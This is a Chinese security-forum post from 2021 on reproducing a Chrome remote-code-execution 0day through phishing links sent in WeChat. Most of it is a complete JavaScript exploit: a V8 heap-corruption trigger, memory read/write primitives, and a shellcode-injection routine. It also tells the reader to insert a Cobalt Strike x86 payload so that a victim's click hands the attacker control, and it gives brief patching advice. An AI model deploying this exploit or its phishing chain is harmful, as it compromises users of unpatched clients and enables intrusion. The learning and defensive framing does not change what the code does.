安全矩阵

 找回密码
 立即注册
搜索
查看: 2289|回复: 0

Chrome-0day引发的一波蝴蝶效应

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-5-20 21:47:48 | 显示全部楼层 |阅读模式
原文链接:Chrome-0day引发的一波蝴蝶效应

0x00 前言
近日Chrome爆出0day在安全圈内掀起了一大波浪潮,恰好又正处攻防演练期间,这让红蓝双方之间的对抗凸显的异常精彩。随后各大安全论坛、公众号也随即更新了此次漏洞的利用过程,笔者秉承着学习的心态,复现了此次Chrome-0day引发的微信钓鱼事件。其中如有纰漏,请各位大佬留言指正。

0x01 漏洞利用条件
1.本次漏洞是由Chrome浏览器引起的远程代码执行,由于Chrome本身是存在沙箱的,想要利用此次漏洞,条件还是比较苛刻的。如果想要复现需提前关闭Chrome中沙箱(-no-sandbox)。
  1. CMD下运行以下代码,关闭沙箱:
  2. C:\Users\XXX\AppData\Local\Google\Chrome\Application\chrome.exe -no-sandbox
复制代码

2.由于微信中默认使用Chrome内核,且沙箱处于关闭状态,如下图所示。所以攻击者可以使用微信发送精心伪造的钓鱼链接,诱使用户点击从而触发隐藏在链接中的shellcode。


0x02 漏洞利用过程
1.利用网上流传的Poc并替换shellcode代码实现CS远程上线。
注意:Poc使用要与微信版本对应,否则无法上线。
Poc如下:
  1. ENABLE_LOG = true;
  2. IN_WORKER = true;

  3. // run calc and hang in a loop
  4. var shellcode = [      ];//shellcode替换成自己的 注意是x86的function print(data){
  5. }

  6. var not_optimised_out = 0;
  7. var target_function = (function (value) {
  8.     if (value == 0xdecaf0) {
  9.         not_optimised_out += 1;
  10.     }
  11.     not_optimised_out += 1;
  12.     not_optimised_out |= 0xff;
  13.     not_optimised_out *= 12;
  14. });

  15. for (var i = 0; i < 0x10000; ++i) {
  16.     target_function(i);
  17. }

  18. var g_array;
  19. var tDerivedNCount = 17 * 87481 - 8;
  20. var tDerivedNDepth = 19 * 19;

  21. function cb(flag) {
  22.     if (flag == true) {
  23.         return;
  24.     }
  25.     g_array = new Array(0);
  26.     g_array[0] = 0x1dbabe * 2;
  27.     return 'c01db33f';
  28. }

  29. function gc() {
  30.     for (var i = 0; i < 0x10000; ++i) {
  31.         new String();
  32.     }
  33. }

  34. function oobAccess() {
  35.     var this_ = this;
  36.     this.buffer = null;
  37.     this.buffer_view = null;

  38.     this.page_buffer = null;
  39.     this.page_view = null;

  40.     this.prevent_opt = [];

  41.     var kSlotOffset = 0x1f;
  42.     var kBackingStoreOffset = 0xf;

  43.     class LeakArrayBuffer extends ArrayBuffer {
  44.         constructor() {
  45.             super(0x1000);
  46.             this.slot = this;
  47.         }
  48.     }

  49.     this.page_buffer = new LeakArrayBuffer();
  50.     this.page_view = new DataView(this.page_buffer);

  51.     new RegExp({ toString: function () { return 'a' } });
  52.     cb(true);

  53.     class DerivedBase extends RegExp {
  54.         constructor() {
  55.             // var array = null;
  56.             super(
  57.                 // at this point, the 4-byte allocation for the JSRegExp `this` object
  58.                 // has just happened.
  59.                 {
  60.                     toString: cb
  61.                 }, 'g'
  62.                 // now the runtime JSRegExp constructor is called, corrupting the
  63.                 // JSArray.
  64.             );

  65.             // this allocation will now directly follow the FixedArray allocation
  66.             // made for `this.data`, which is where `array.elements` points to.
  67.             this_.buffer = new ArrayBuffer(0x80);
  68.             g_array[8] = this_.page_buffer;
  69.         }
  70.     }

  71.     // try{
  72.     var derived_n = eval(`(function derived_n(i) {
  73.         if (i == 0) {
  74.             return DerivedBase;
  75.         }

  76.         class DerivedN extends derived_n(i-1) {
  77.             constructor() {
  78.                 super();
  79.                 return;
  80.                 ${"this.a=0;".repeat(tDerivedNCount)}
  81.             }
  82.         }

  83.         return DerivedN;
  84.     })`);

  85.     gc();

  86.     new (derived_n(tDerivedNDepth))();

  87.     this.buffer_view = new DataView(this.buffer);
  88.     this.leakPtr = function (obj) {
  89.         this.page_buffer.slot = obj;
  90.         return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
  91.     }

  92.     this.setPtr = function (addr) {
  93.         this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
  94.     }

  95.     this.read32 = function (addr) {
  96.         this.setPtr(addr);
  97.         return this.page_view.getUint32(0, true, ...this.prevent_opt);
  98.     }

  99.     this.write32 = function (addr, value) {
  100.         this.setPtr(addr);
  101.         this.page_view.setUint32(0, value, true, ...this.prevent_opt);
  102.     }

  103.     this.write8 = function (addr, value) {
  104.         this.setPtr(addr);
  105.         this.page_view.setUint8(0, value, ...this.prevent_opt);
  106.     }

  107.     this.setBytes = function (addr, content) {
  108.         for (var i = 0; i < content.length; i++) {
  109.             this.write8(addr + i, content[i]);
  110.         }
  111.     }
  112.     return this;
  113. }

  114. function trigger() {
  115.     var oob = oobAccess();

  116.     var func_ptr = oob.leakPtr(target_function);
  117.     print('[*] target_function at 0x' + func_ptr.toString(16));

  118.     var kCodeInsOffset = 0x1b;

  119.     var code_addr = oob.read32(func_ptr + kCodeInsOffset);
  120.     print('[*] code_addr at 0x' + code_addr.toString(16));

  121.     oob.setBytes(code_addr, shellcode);

  122.     target_function(0);
  123. }

  124. try{
  125.     print("start running");
  126.     trigger();
  127. }catch(e){
  128.     print(e);
  129. }
复制代码



2.CS创建监听器

监听器创建成功

3.CS生成C格式Paylaod

这里不勾选X64,因为微信PC端处理器为X86。

将生成的C文件,替换到上述shellcode数组中,如下图所示:

4.本地搭建测试环境,微信点击链接CS上线


0x03 修复建议
1.Chrome官方已经对本次漏洞进行修补,请升级到最新的Chrome版本。
2.微信同时也发布了3.2.1.143最新版本,请大家及时下载更新。

0x04 总结
归根结底本次漏洞利用了Chrome浏览器远程代码执行,理论上来讲,所有使用Chrome内核,且关闭沙箱的软件都有可能被攻击者利用。笔者在复现的过程中,看到了某实验室写到的一篇文章利用appscan扫描器(使用Chrome内核进行爬取)CS上线,有兴趣的同学可以自行搜索学习。





















回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 02:34 , Processed in 0.013817 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表